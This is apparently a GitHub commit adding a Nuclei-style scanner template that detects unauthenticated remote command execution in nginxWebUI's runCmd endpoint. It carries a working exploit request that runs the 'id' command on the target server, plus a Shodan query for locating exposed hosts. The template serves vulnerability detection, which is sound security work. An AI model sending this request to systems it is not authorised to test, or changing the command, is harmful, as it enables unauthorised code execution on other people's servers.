Create nginxwebui-runcmd-rce.yaml

patch-1
Dhiyaneshwaran 2023-07-27 16:55:44 +05:30 committed by GitHub
parent 03744bf851
commit 6e069a0025
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 38 additions and 0 deletions

View File

@ -0,0 +1,38 @@
id: nginxwebui-runcmd-rce
info:
name: nginxWebUI ≤ 3.5.0 runCmd - Remote Command Execution
author: DhiyaneshDk
severity: critical
description: |
nginxWebUIs runCmd feature and is caused by incomplete validation of user input. Attackers can exploit the vulnerability by crafting malicious data to execute arbitrary commands on a vulnerable server without authorization.
reference:
- https://github.com/qingchenhh/qc_poc/blob/main/Goby/nginxWebUI_runCmd_rce.go
- https://www.ctfiot.com/124166.html
- https://www.sangfor.com/farsight-labs-threat-intelligence/cybersecurity/nginxwebui-runcmd-remote-command-execution-vulnerability
metadata:
max-request: 1
shodan-query: html:"nginxWebUI"
verified: true
tags: nginx,nginxwebui,rce
http:
- method: GET
path:
- "{{BaseURL}}/AdminPage/conf/runCmd?cmd=id"
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- 'uid=\d+\(([^)]+)\) gid=\d+\(([^)]+)\)'
- type: word
part: header
words:
- "application/json"
- type: status
status:
- 200